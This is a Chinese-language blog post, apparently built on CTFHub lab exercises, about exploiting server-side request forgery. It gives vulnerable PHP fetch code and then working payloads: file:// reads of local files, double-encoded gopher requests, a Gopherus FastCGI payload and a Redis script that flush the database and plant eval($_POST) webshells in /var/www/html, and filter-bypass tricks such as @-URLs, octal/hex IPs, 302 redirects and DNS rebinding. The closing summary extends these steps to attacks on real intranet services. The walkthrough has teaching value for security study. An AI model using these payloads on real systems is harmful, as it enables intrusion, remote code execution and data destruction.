【web安全】SSRF的各种利用方式

什么是SSRF

SSRF(服务端请求伪造漏洞) 由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制,导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据。

一般情况下,SSRF针对的都是一些外网无法访问的内网,所以需要SSRF使目标后端去访问内网,进而达到我们攻击内网的目的。

image.png

通过SSRF,我们可以访问目标内网的redis服务,mysql服务,smpt服务,fastcgi服务等

造成漏洞的一些函数

file_get_contents():将整个文件或一个url所指向的文件读入一个字符串中。

readfile():输出一个文件的内容。

fsockopen():打开一个网络连接或者一个Unix 套接字连接。

curl_exec():初始化一个新的会话,返回一个cURL句柄,供curl_setopt(),curl_exec()和curl_close() 函数使用。

fopen():打开一个文件文件或者 URL。

【网络安全相关技术文档】
1、网络安全学习路线
2、电子书籍(白帽子)
3、安全大厂内部视频
4、100份src文档
5、常见安全面试题
6、ctf大赛经典题目解析
7、全套工具包
8、应急响应笔记

file_get_contents()/readfile()

<?php
$url = $_GET['url'];;
echo file_get_contents($url);
?>

fsockopen()

fsockopen(hostname,port,errno,errstr,$timeout)用于打开一个网络连接或者一个Unix 套接字连接,初始化一个套接字连接到指定主机(hostname),实现对用户指定url数据的获取。该函数会使用socket跟服务器建立tcp连接,进行传输原始数据。 fsockopen()将返回一个文件句柄,之后可以被其他文件类函数调用(例如:fgets(),fgetss(),fwrite(),fclose()还有feof())。如果调用失败,将返回false

<?php
$host=$_GET['url'];
$fp = fsockopen($host, 80, $errno, $errstr, 30);
if (!$fp) {
    echo "$errstr ($errno)<br />\n";
} else {
    $out = "GET / HTTP/1.1\r\n";
    $out .= "Host: $host\r\n";
    $out .= "Connection: Close\r\n\r\n";
    fwrite($fp, $out);
    while (!feof($fp)) {
        echo fgets($fp, 128);
    }
    fclose($fp);
}
?>

curl_exec()

<?php 
$url=$_POST['url']; 
$ch=curl_init($url);  //创造一个curl资源
curl_setopt($ch, CURLOPT_HEADER, 0); //设置url和相应的选项
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
$result=curl_exec($ch); // 抓取url并将其传递给浏览器
curl_close($ch); //关闭curl资源
echo ($result); 
?>

接下来我就SSRF涉及的协议和一些bypass结合一些CTF进行分析

SSRF攻击中涉及的一些协议

因为只是展示各个协议的用途,所以这里就不自己搭环境,直接用CTFHUB的技能树了

http协议

题目描述: 尝试访问位于127.0.0.1的flag.php吧

image.png

payload: ?url=http://127.0.0.1/flag.php

image.png

这就是因为过滤 不严谨,导致我们可以访问内网。

dict协议

在SSRF中,dict协议与http协议可用来探测内网的主机存活与端口开放情况。

题目描述: 来来来性感CTFHub在线扫端口,据说端口范围是8000-9000哦

通过题目应该可以判断 ,跟上一道题是差不多的,但是就是端口问题

先判断哪个端口存在web服务

这里是直接用burp爆破端口就可以

image.png

但是我估计环境出问题了,一直没有爆破出想要的端口。

这里如果爆破出的话,直接访问就行

file伪协议

题目描述: 尝试去读取一下Web目录下的flag.php吧

file为协议就不用多说了

payload:?url=file:/var/www/html/flag.php

image.png

但是需要知道文件具体位置才能读到敏感信息。

Gopher协议

Gopher是Internet上一个非常有名的信息查找系统,它将Internet 上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处如果发起post请求,回车换行需要使用%0d%0a,如果多个参数,参数之间的&也需要进行URL编码
在SSRF中经常会使用Gopher来构造GET/POST包攻击应用。

题目描述: 这次是发一个HTTP POST请求。对了,ssrf是用php的curl实现的。并且会跟踪302跳转,我准备了一个302.php,可能对你有用哦。

进入题目直接查看源码

?url=file:/var/www/html/flag.php 和 ?url=file:/var/www/html/index.php

index.php

<?php

error_reporting(0);

if (!isset($_REQUEST['url'])){
    header("Location: /?url=_");
    exit;
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);

flag.php

<?php

error_reporting(0);

if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
    echo "Just View From 127.0.0.1";
    return;
}

$flag=getenv("CTFHUB");
$key = md5($flag);

if (isset($_POST["key"]) && $_POST["key"] == $key) {
    echo $flag;
    exit;
}
?>

这里告诉我们要去用127.0.0.1访问flag.php

image.png

那道key,看这个样子是要我们POST key,但是提交页面又没有提交的按钮,所以这里就需要我们去本地新建一个POST

image.png

这里我们需要构造一个POST的数据包

gopher://127.0.0.1:80/_POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=00f001523d0b955749ea5e3b0ca09b5f

然后我们就可以进行url编码了,编码次数取决于我们访问次数。

第一次编码:

gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0AHost:%20127.0.0.1:80%0AContent-Type:%20application/x-www-form-urlencoded%0AContent-Length:%2036%0A%0Akey=f1688c97bf2e6dda47be87e4d8f87cd7

把%0A替换成%0d%0A,结尾加上%0d%0A,并且末尾要加上%0d%0a(\r\n)

gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0d%0AHost:%20127.0.0.1:80%0d%0AContent-Type:%20application/x-www-form-urlencoded%0d%0AContent-Length:%2036%0d%0A%0d%0Akey=f1688c97bf2e6dda47be87e4d8f87cd7%0d%0a

然后在进行一次URL编码

gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253Df1688c97bf2e6dda47be87e4d8f87cd7%250D%250A
image.png

当然手动编码,加上复杂的转化,错误率大大提高,所以,我在网上找了个脚本

import urllib.parse
payload =\
"""POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=c384d200658f258e5b5c681bf0aa29a8
"""  

#注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result)       # 这里因为是GET请求所以要进行两次url编码

直接将编码所得,提交即可。

FastCGI协议

题目描述 : 这次.我们需要攻击一下fastcgi协议咯.也许附件的文章会对你有点帮助

给了个附件介绍fastcgi协议和PHP-FPM

FastCGI

Wikipedia对FastCGI的解释:快速通用网关接口(FastCommon Gateway Interface/FastCGI)是一种让交互程序与Web服务器通信的协议。FastCGI是早期通用网关接口(CGI)的增强版本。FastCGI致力于减少网页服务器与CGI程序之间交互的开销,从而使服务器可以同时处理更多的网页请求。

php-fpm

官方对php-fpm的解释是FPM(FastCGI 进程管理器)用于替换 PHP FastCGI 的大部分附加功能,对于高负载网站是非常有用的。也就是说php-fpm是FastCGI的一个具体实现,其默认监听9000端口

这里,附件给的复现方式虽然已经挺好的了,但是我查阅资料后,发现还有第二种做法,而且相对简单,我就用第二种做法,复现一下。

使用工具 Gopherus 生成攻击FastCGI协议的payload

python gopherus.py --exploit fastcgi
/var/www/html/index.php                 # 这里输入的是一个已知存在的php文件
echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4 | base64 -d > /var/www/html/shell.php
image.png

这里我直接参考师傅的payload,生成的payload

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%07%07%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH134%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%19SCRIPT_FILENAME/var/www/html/index.php%20%20%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%86%04%00%3C%3Fphp%20system%28%27echo%20PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4%20%7C%20base64%20-d%20%3E%20/var/www/html/shell.php%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

这里对其进行url二次编码,因为url会对其解码一次,curl也会解码一次,所以要编码两次。这个payload是已经进行过一次编码的,所以再编码一次即可。

gopher%3A//127.0.0.1%3A9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%2505%2505%2500%250F%2510SERVER_SOFTWAREgo%2520/%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP/1.1%250E%2503CONTENT_LENGTH134%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A//input%250F%2517SCRIPT_FILENAME/var/www/html/index.php%250D%2501DOCUMENT_ROOT/%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%2586%2504%2500%253C%253Fphp%2520system%2528%2527echo%2520PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4%2520%257C%2520base64%2520-d%2520%253E%2520/var/www/html/shell.php%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500

然后上传成功

image.png

蚁剑连接shell

image.png

连接成功,并在根目录找到flag

Redis协议

题目描述 : 这次来攻击redis协议吧,redis://127.0.0.1:6379。资料?没有资料!自己找!

总所周知,redis服务是开在6379端口,通常是利用redis未授权访问而达到写入shell或者反弹ssh等目的。

这里我本来想着用gopherus 直接生成针对redis未授权访问,写入shell

image.png
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2430%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B%271%27%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

但是二次编码的时候传入没有成功,不知道为什么。这里我还是用whoami师傅的方法来打。

构造redis命令:

flushall
set 1 '<?php eval($_POST["whoami"]);?>'
config set dir /var/www/html
config set dbfilename shell.php
save

WHOAMI师傅的EXP脚本:

import urllib
protocol="gopher://"
ip="127.0.0.1"
port="6379"
shell="\n\n<?php eval($_POST["whoami"]);?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd

if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print urllib.quote(payload)    # 由于我们这里是GET,所以要进行两次url编
码

生成如下payload

gopher%3A//127.0.0.1%3A6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252435%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B%2522whoami%2522%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A

get传值,蚁剑连接。

image.png

但是我这一直报错,就很怪

常见的bypass绕过方式

这里依旧用ctfhub的题目,但是绕过方法,我会就buu和ctfshow 的相关题目进行扩展。

URL Bypass

题目描述 : 请求的URL中必须包含http://notfound.ctfhub.com,来尝试利用URL的一些特殊地方绕过这个限制吧

构造payload:

?url=http://notfound.ctfhub.com@127.0.0.1/flag.php

扩展:如果要求以http://notfound.ctfhub开头.com 结尾的话,依旧可以使用@

payload

?url=http://notfound.ctfhub@127.0.0.1/flag.php.com

此类需要某某开头 某某结束的题目均可使用@进行绕过。

数字IP Bypass

题目描述 :这次ban掉了127以及172.不能使用点分十进制的IP了。但是又要访问127.0.0.1。该怎么办呢

不能使用127/172 我们可以使用进制转换等

进制转换
url=http://0x7f.0.0.1/flag.php
url=http://0177.0.0.1/flag.php
扩展:
当有的对跳转的地址的长度有要求
host<5
url=http://0/flag.php
url=http://127.1/flag.php
host<3
url=http://0/flag.php

302跳转 Bypass

题目描述:SSRF中有个很重要的一点是请求可能会跟随302跳转,尝试利用这个来绕过对IP的检测访问到位于127.0.0.1的flag.php吧

302跳转就是由一个URL跳转到另外一个URL当中去。

image.png

IP被ban,改个不含127的试试

出了,我甚至没搞明白啥意思,有点懵。

DNS重绑定 Bypass

题目描述 :无

DNS重绑定DNS Rebinding攻击在网页浏览过程中,用户在地址栏中输入包含域名的网址。浏览器通过DNS服务器将域名解析为IP地址,然后向对应的IP地址请求资源,最后展现给用户。而对于域名所有者,他可以设置域名所对应的IP地址。当用户第一次访问,解析域名获取一个IP地址;然后,域名持有者修改对应的IP地址;用户再次请求该域名,就会获取一个新的IP地址。对于浏览器来说,整个过程访问的都是同一域名,所以认为是安全的。这就造成了DNS Rebinding攻击。

在自己服务器上写一个index.php内容如下:

<?php
header("Location:http://127.0.0.1/flag.php");

然后payload访问自己这个地址就可以了。

或者也可以利用这个网站获取一个测试用的域名:https://lock.cmpxchg8b.com/rebinder.html

image.png

直接访问

image.png

需要访问多次,因为这个域名会在两个ip之间跳转。

总结

虽然这篇文章都是基于CTF来分析SSRF相关知识的,但是我觉得可以从这些CTF题目中延伸出一些渗透攻击的思路。

就比如:如果我们发现一处SSRF,我们可以使用使用file 伪协议读取敏感信息,http/s和dict协议判断内网存活主机和端口,从端口判断内网中存在的服务。

当我们发现redis/fastcgi/mysql等服务时, 我们可以利用协议gopher和工具 gopherus 进行getshell。

image.png
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 203,271评论 5 476
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 85,275评论 2 380
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 150,151评论 0 336
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,550评论 1 273
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,553评论 5 365
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,559评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,924评论 3 395
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,580评论 0 257
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,826评论 1 297
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,578评论 2 320
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,661评论 1 329
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,363评论 4 318
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,940评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,926评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,156评论 1 259
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 42,872评论 2 349
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,391评论 2 342

推荐阅读更多精彩内容

  • 摘自:https://www.freebuf.com/articles/web/260806.html[https...
    一碗海鲜汤阅读 479评论 0 1
  • 事情再多也可以做做题娱乐娱乐。 0x01 一道水题 一群可爱小青蛙,F12审查元素可以找到flag。 0x02还是...
    NoviceQAQ阅读 2,616评论 0 0
  • 1.内网访问 2.伪协议读取文件 通过file协议读取文件构造payload:?url=file:///var/w...
    _Xux_阅读 1,881评论 0 4
  • 打算在代码审计上入下坑。本来找了个不知名cms想审计一下的。偶然间看到了星盟王叹之师傅在用php-audit-la...
    byc_404阅读 1,454评论 0 1
  • title: 一道SSRF题date: 2019-07-04 13:42:44tags:- CTF- SSRF- ...
    Miracle778阅读 6,247评论 0 9